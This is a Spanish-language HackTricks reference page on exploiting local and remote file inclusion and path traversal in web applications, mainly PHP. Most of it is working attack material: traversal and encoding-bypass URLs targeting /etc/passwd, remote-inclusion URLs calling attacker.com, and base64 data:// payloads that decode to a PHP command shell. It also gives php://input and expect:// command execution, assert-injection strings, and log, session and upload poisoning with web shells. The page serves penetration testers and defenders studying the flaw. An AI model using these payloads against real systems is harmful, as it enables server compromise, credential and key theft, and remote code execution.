Español - Ht
HackTricks Training Twitter Linkedin Sponsor

File Inclusion/Path traversal

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!

Perspectivas de Hacking Involúcrate con contenido que profundiza en la emoción y desafíos del hacking

Noticias de Hacking en Tiempo Real Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y actualizaciones cruciales de plataformas

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Inclusión de archivos

Inclusión de Archivos Remotos (RFI): El archivo se carga desde un servidor remoto (Lo mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está deshabilitado por defecto (allow_url_include). Inclusión de Archivos Locales (LFI): El servidor carga un archivo local.

La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.

Funciones de PHP vulnerables: require, require_once, include, include_once

Una herramienta interesante para explotar esta vulnerabilidad: https://github.com/kurobeats/fimap

Ciegos - Interesantes - Archivos LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mezclando varias listas de LFI de *nix y añadiendo más rutas he creado esta:

LogoAuto_Wordlists/file_inclusion_linux.txt at main · carlospolop/Auto_WordlistsGitHub

Intenta también cambiar / por \ Intenta también añadir ../../../../../

Se puede encontrar una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para comprobar si existe la vulnerabilidad) aquí

Windows

Mezcla de diferentes listas de palabras:

Intenta también cambiar / por \ Intenta también quitar C:/ y añadir ../../../../../

Se puede encontrar una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para comprobar si existe la vulnerabilidad) aquí

OS X

Verifica la lista de LFI de Linux.

LFI básico y bypasses

Todos los ejemplos son para Inclusión de Archivos Local pero también podrían aplicarse a Inclusión de Archivos Remoto (página=http://miservidor.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

secuencias de recorrido despojadas de forma no recursiva

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Byte nulo (%00)

Burla la adición de más caracteres al final de la cadena proporcionada (burla de: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Esto está resuelto desde PHP 5.4

Codificación

Podrías usar codificaciones no estándar como doble codificación de URL (y otras):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Desde la carpeta existente

Tal vez el back-end esté verificando la ruta de la carpeta:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorando Directorios del Sistema de Archivos en un Servidor

El sistema de archivos de un servidor se puede explorar de forma recursiva para identificar directorios, no solo archivos, mediante ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se detalla un método para lograr esto:

  1. Determinar la Profundidad del Directorio: Asegúrese de la profundidad de su directorio actual al recuperar con éxito el archivo /etc/passwd (aplicable si el servidor es de base Linux). Un ejemplo de URL podría estar estructurado de la siguiente manera, indicando una profundidad de tres:

http://example.com/index.php?page=../../../etc/passwd # depth of 3

  1. Sondear Carpetas: Agrega el nombre de la carpeta sospechosa (por ejemplo, private) a la URL, luego navega de regreso a /etc/passwd. El nivel adicional de directorio requiere incrementar la profundidad en uno:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4

  1. Interpretar los Resultados: La respuesta del servidor indica si la carpeta existe:

    • Error / Sin Salida: La carpeta private probablemente no existe en la ubicación especificada.

    • Contenidos de /etc/passwd: Se confirma la presencia de la carpeta private.

  2. Exploración Recursiva: Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Locales (LFI).

Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si /var/www/ contiene un directorio private (asumiendo que el directorio actual está a una profundidad de 3), utiliza:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Técnica de Truncamiento de Ruta

El truncamiento de ruta es un método utilizado para manipular las rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez modificada por la medida de seguridad, siga apuntando al archivo deseado.

En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:

  • /etc/passwd, /etc//passwd, /etc/./passwd y /etc/passwd/ se tratan como la misma ruta.

  • Cuando los últimos 6 caracteres son passwd, añadir un / (convirtiéndolo en passwd/) no cambia el archivo objetivo.

  • De manera similar, si se añade .php a una ruta de archivo (como shellcode.php), agregar un /. al final no alterará el archivo que se está accediendo.

Los ejemplos proporcionados muestran cómo utilizar el truncamiento de ruta para acceder a /etc/passwd, un objetivo común debido a su contenido sensible (información de cuentas de usuario):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

En estos escenarios, es posible que se necesiten alrededor de 2027 recorridos, pero este número puede variar según la configuración del servidor.

  • Utilizando Segmentos de Punto y Caracteres Adicionales: Las secuencias de recorrido (../) combinadas con segmentos de punto y caracteres adicionales pueden utilizarse para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.

  • Determinando el Número Requerido de Recorridos: A través de prueba y error, se puede encontrar el número preciso de secuencias ../ necesarias para navegar al directorio raíz y luego a /etc/passwd, asegurando que las cadenas añadidas (como .php) se neutralicen pero que la ruta deseada (/etc/passwd) permanezca intacta.

  • Comenzando con un Directorio Falso: Es una práctica común comenzar la ruta con un directorio inexistente (como a/). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de ruta del servidor.

Al emplear técnicas de truncamiento de ruta, es crucial comprender el comportamiento de análisis de ruta del servidor y la estructura del sistema de archivos. Cada escenario podría requerir un enfoque diferente, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.

Esta vulnerabilidad fue corregida en PHP 5.3.

Trucos de evasión de filtros

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Inclusión de Archivos Remotos

En php esto está desactivado de forma predeterminada porque allow_url_include está en Off. Debe estar en On para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si por alguna razón allow_url_include está On, pero PHP está filtrando el acceso a páginas web externas, según este post, podrías usar, por ejemplo, el protocolo data con base64 para decodificar un código PHP en base64 y obtener RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

En el código anterior, se agregó +.txt al final porque el atacante necesitaba una cadena que terminara en .txt, de modo que la cadena termine con eso y después de la decodificación b64 esa parte devolverá solo basura y el verdadero código PHP será incluido (y por lo tanto, ejecutado).

Otro ejemplo sin usar el protocolo php:// sería:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Elemento raíz de Python

En python en un código como este:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si el usuario pasa una ruta absoluta a file_name, la ruta anterior simplemente se elimina:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Es el comportamiento previsto según la documentación:

Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de la ruta absoluta.

Listado de Directorios en Java

Parece que si tienes una Travesía de Ruta en Java y solicitas un directorio en lugar de un archivo, se devuelve un listado del directorio. Esto no sucede en otros lenguajes (por lo que sé).

Top 25 parámetros

Aquí está la lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (desde este enlace):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando envolturas y protocolos PHP

php://filter

Los filtros de PHP permiten realizar operaciones básicas de modificación en los datos antes de ser leídos o escritos. Hay 5 categorías de filtros:

  • Filtros de cadena:

    • string.rot13

    • string.toupper

    • string.tolower

    • string.strip_tags: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")

    • Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP

  • Filtros de conversión

    • convert.base64-encode

    • convert.base64-decode

    • convert.quoted-printable-encode

    • convert.quoted-printable-decode

    • convert.iconv.*: Transforma a una codificación diferente (convert.iconv.<input_enc>.<output_enc>). Para obtener la lista de todas las codificaciones soportadas, ejecuta en la consola: iconv -l

Abusando del filtro de conversión convert.iconv.* puedes generar texto arbitrario, lo cual podría ser útil para escribir texto arbitrario o hacer que una función como la inclusión de texto arbitrario sea procesada. Para más información, consulta LFI2RCE via php filters.

  • Filtros de compresión

    • zlib.deflate: Comprime el contenido (útil si se está exfiltrando mucha información)

    • zlib.inflate: Descomprime los datos

  • Filtros de encriptación

    • mcrypt.*: Obsoleto

    • mdecrypt.*: Obsoleto

  • Otros Filtros

    • Ejecutando en PHP var_dump(stream_get_filters()); puedes encontrar un par de filtros inesperados:

      • consumed

      • dechunk: revierte la codificación chunked de HTTP

      • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

La parte "php://filter" no distingue entre mayúsculas y minúsculas

Usando filtros php como oráculo para leer archivos arbitrarios

En este post se propone una técnica para leer un archivo local sin recibir la salida del servidor. Esta técnica se basa en una filtración booleana del archivo (carácter por carácter) utilizando filtros php como oráculo. Esto se debe a que los filtros php pueden ser utilizados para hacer que un texto sea lo suficientemente grande como para que php lance una excepción.

En el post original puedes encontrar una explicación detallada de la técnica, pero aquí tienes un resumen rápido:

  • Utiliza el códec UCS-4LE para dejar el carácter principal del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.

  • Esto se utilizará para generar un texto tan grande que cuando se adivine correctamente la letra inicial, php lanzará un error.

  • El filtro dechunk eliminará todo si el primer carácter no es un hexadecimal, por lo que podemos saber si el primer carácter es hexadecimal.

  • Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php genere un error.

  • El códec convert.iconv.UNICODE.CP930 transforma cada letra en la siguiente (entonces después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una a, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g la letra ya no es un carácter hexadecimal, por lo tanto dechunk no lo eliminará y se generará el error de php porque se multiplica con la bomba inicial.

  • Usando otras transformaciones como rot13 al principio es posible filtrar otras letras como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).

  • Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar los 2 primeros caracteres para filtrar el número.

  • El problema final es ver cómo filtrar más que la letra inicial. Al utilizar filtros de memoria de orden como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.

  • Y para poder obtener más datos, la idea es generar 2 bytes de datos basura al principio con convert.iconv.UTF16.UTF16, aplicar UCS-4LE para hacerlo pivotar con los siguientes 2 bytes, y eliminar los datos hasta los datos basura (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.

En el post también se filtró una herramienta para realizar esto automáticamente: php_filters_chain_oracle_exploit.

php://fd

Este wrapper permite acceder a los descriptores de archivo que el proceso tiene abiertos. Potencialmente útil para filtrar el contenido de archivos abiertos:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

También puedes usar php://stdin, php://stdout y php://stderr para acceder a los descriptores de archivo 0, 1 y 2 respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)

zip:// y rar://

Sube un archivo Zip o Rar con un PHPShell adentro y accede a él. Para poder abusar del protocolo rar, necesita ser activado específicamente.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

La pseudoruta data:// se puede utilizar en ataques de inclusión de archivos para cargar datos directamente desde la URL proporcionada en el parámetro vulnerable. Esto puede ser explotado para leer archivos sensibles del servidor remoto y exfiltrar información confidencial.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Ten en cuenta que este protocolo está restringido por las configuraciones de php allow_url_open y allow_url_include

expect://

Expect tiene que estar activado. Puedes ejecutar código usando esto:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Especifica tu carga útil en los parámetros POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un archivo .phar se puede utilizar para ejecutar código PHP cuando una aplicación web aprovecha funciones como include para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Para compilar el archivo .phar, se debe ejecutar el siguiente comando:

php --define phar.readonly=0 create_path.php

Al ejecutarse, se creará un archivo llamado test.phar, que potencialmente podría ser aprovechado para explotar vulnerabilidades de Inclusión Local de Archivos (LFI).

En casos donde el LFI solo realiza la lectura de archivos sin ejecutar el código PHP dentro, a través de funciones como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), o filesize(), se podría intentar la explotación de una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos utilizando el protocolo phar.

Para comprender detalladamente cómo explotar vulnerabilidades de deserialización en el contexto de archivos .phar, consulta el documento vinculado a continuación:

Guía de Explotación de Deserialización de Phar

pagephar:// deserialization

Más protocolos

Ver más posibles protocolos para incluir aquí:

  • php://memory y php://temp — Escribir en memoria o en un archivo temporal (no está claro cómo esto puede ser útil en un ataque de inclusión de archivos)

  • file:// — Acceder al sistema de archivos local

  • http:// — Acceder a URLs HTTP(s)

  • ftp:// — Acceder a URLs FTP(s)

  • zlib:// — Flujos de compresión

  • glob:// — Encontrar nombres de ruta que coincidan con un patrón (no devuelve nada imprimible, por lo que no es realmente útil aquí)

  • ssh2:// — Secure Shell 2

  • ogg:// — Flujos de audio (No es útil para leer archivos arbitrarios)

LFI a través de 'assert' de PHP

Los riesgos de Inclusión Local de Archivos (LFI) en PHP son notablemente altos cuando se trata de la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si la entrada que contiene caracteres de travesía de directorios como ".." se está verificando pero no se está desinfectando correctamente.

Por ejemplo, el código PHP podría estar diseñado para prevenir la travesía de directorios de la siguiente manera:

assert("strpos('$file', '..') === false") or die("");

Mientras esto tiene como objetivo detener la travesía, crea inadvertidamente un vector para la inyección de código. Para explotar esto y leer el contenido de archivos, un atacante podría usar:

' and die(highlight_file('/etc/passwd')) or '

Del mismo modo, para ejecutar comandos del sistema arbitrarios, se podría usar:

' and die(system("id")) or '

Es importante codificar en URL estas cargas útiles.

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores.

Información sobre Hacking Participa en contenido que explora la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real Mantente al día con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones cruciales de la plataforma

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Travesía de Ruta Ciega en PHP

Esta técnica es relevante en casos donde controlas la ruta del archivo de una función PHP que accederá a un archivo pero no verás el contenido del archivo (como una simple llamada a file()) pero el contenido no se muestra.

En esta increíble publicación se explica cómo se puede abusar de una travesía de ruta ciega a través de un filtro PHP para filtrar el contenido de un archivo a través de un oráculo de error.

En resumen, la técnica utiliza la codificación "UCS-4LE" para hacer que el contenido de un archivo sea tan grande que la función PHP que abre el archivo desencadenará un error.

Luego, para filtrar el primer carácter se utiliza el filtro dechunk junto con otros como base64 o rot13 y finalmente se utilizan los filtros convert.iconv.UCS-4.UCS-4LE y convert.iconv.UTF16.UTF-16BE para colocar otros caracteres al principio y filtrarlos.

Funciones que podrían ser vulnerables: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (solo objetivo de solo lectura con esto), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

¡Para conocer los detalles técnicos, consulta la publicación mencionada!

LFI2RCE

Inclusión Remota de Archivos

Como se explicó anteriormente, siga este enlace.

A través del archivo de registro de Apache/Nginx

Si el servidor Apache o Nginx es vulnerable a LFI dentro de la función de inclusión, podrías intentar acceder a /var/log/apache2/access.log o /var/log/nginx/access.log, establecer dentro del agente de usuario o dentro de un parámetro GET un shell de PHP como <?php system($_GET['c']); ?> e incluir ese archivo

Ten en cuenta que si usas comillas dobles para el shell en lugar de comillas simples, las comillas dobles se modificarán por la cadena "quote;", PHP lanzará un error y no se ejecutará nada más.

Además, asegúrate de escribir correctamente la carga útil o PHP lanzará un error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.

Esto también se podría hacer en otros registros pero ten cuidado, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado autorización "básica" contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de este encabezado. Otros posibles caminos de registro:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

A través de Correo Electrónico

Envía un correo a una cuenta interna (usuario@localhost) que contenga tu carga útil PHP como <?php echo system($_REQUEST["cmd"]); ?> e intenta incluirlo en el correo del usuario con una ruta como /var/mail/<NOMBRE_USUARIO> o /var/spool/mail/<NOMBRE_USUARIO>

A través de /proc/*/fd/*

  1. Sube una gran cantidad de shells (por ejemplo: 100)

  2. Incluye http://ejemplo.com/index.php?page=/proc/$PID/fd/$FD, donde $PID es el PID del proceso (puede ser forzado brutalemente) y $FD es el descriptor de archivo (también puede ser forzado brutalemente)

A través de /proc/self/environ

Como un archivo de registro, envía la carga útil en el User-Agent, que se reflejará dentro del archivo /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

A través de carga

Si puedes cargar un archivo, simplemente inyecta la carga útil de la shell en él (por ejemplo: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf

A través de la carga de un archivo Zip

Subir un archivo ZIP que contenga una shell PHP comprimida y acceder:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

A través de sesiones PHP

Verifique si el sitio web utiliza Sesiones PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, estas sesiones se almacenan en archivos /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Establece la cookie a <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utiliza el LFI para incluir el archivo de sesión de PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

A través de ssh

Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status y /etc/passwd) e intenta acceder a <HOME>/.ssh/id_rsa

A través de los logs de vsftpd

Los registros del servidor FTP vsftpd se encuentran en /var/log/vsftpd.log. En el escenario donde existe una vulnerabilidad de Inclusión de Archivos Locales (LFI) y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:

  1. Inyectar un payload PHP en el campo de nombre de usuario durante el proceso de inicio de sesión.

  2. Después de la inyección, utilizar el LFI para recuperar los registros del servidor desde /var/log/vsftpd.log.

A través del filtro base64 de php (usando base64)

Como se muestra en este artículo, el filtro base64 de PHP simplemente ignora lo que no es base64. Puedes usar esto para evadir la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí tienes un ejemplo de payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

A través de filtros php (sin necesidad de archivo)

Este informe explica que puedes usar filtros php para generar contenido arbitrario como salida. Lo que básicamente significa que puedes generar código php arbitrario para la inclusión sin necesidad de escribirlo en un archivo.

pageLFI2RCE via PHP Filters

A través de fallo de segmentación

Sube un archivo que se almacenará de forma temporal en /tmp, luego en la misma petición, provoca un fallo de segmentación, y entonces el archivo temporal no se eliminará y podrás buscarlo.

pageLFI2RCE via Segmentation Fault

A través del almacenamiento de archivos temporales de Nginx

Si encuentras una Inclusión Local de Archivos y Nginx está en funcionamiento delante de PHP, es posible que puedas obtener RCE con la siguiente técnica:

pageLFI2RCE via Nginx temp files

A través de PHP_SESSION_UPLOAD_PROGRESS

Si encuentras una Inclusión Local de Archivos incluso si no tienes una sesión y session.auto_start está en Off. Si proporcionas el PHP_SESSION_UPLOAD_PROGRESS en los datos multipart POST, PHP habilitará la sesión por ti. Podrías abusar de esto para obtener RCE:

pageLFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

A través de subidas de archivos temporales en Windows

Si encuentras una Inclusión Local de Archivos y el servidor está en Windows, podrías obtener RCE:

pageLFI2RCE Via temp file uploads

A través de phpinfo() (file_uploads = on)

Si encuentras una Inclusión Local de Archivos y un archivo que expone phpinfo() con file_uploads = on, podrías obtener RCE:

pageLFI2RCE via phpinfo()

A través de compress.zlib + PHP_STREAM_PREFER_STUDIO + Divulgación de Ruta

Si encuentras una Inclusión Local de Archivos y puedes filtrar la ruta del archivo temporal PERO el servidor está verificando si el archivo a incluir tiene marcas PHP, puedes intentar burlar esa verificación con esta Condición de Carrera:

pageLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

A través de espera eterna + fuerza bruta

Si puedes abusar de la LFI para subir archivos temporales y hacer que el servidor cuelgue la ejecución de PHP, entonces podrías fuerza bruta nombres de archivo durante horas para encontrar el archivo temporal:

pageLFI2RCE via Eternal waiting

Hasta Error Fatal

Si incluyes cualquiera de los archivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Necesitas incluir el mismo dos veces para lanzar ese error).

No sé cómo es útil esto pero podría serlo. Incluso si causas un Error Fatal de PHP, los archivos temporales de PHP subidos son eliminados.

Referencias

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Perspectivas de Hacking Involúcrate con contenido que profundiza en la emoción y desafíos del hacking

Noticias de Hacking en Tiempo Real Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

AnteriorEmail InjectionsSiguientephar:// deserialization

Última actualización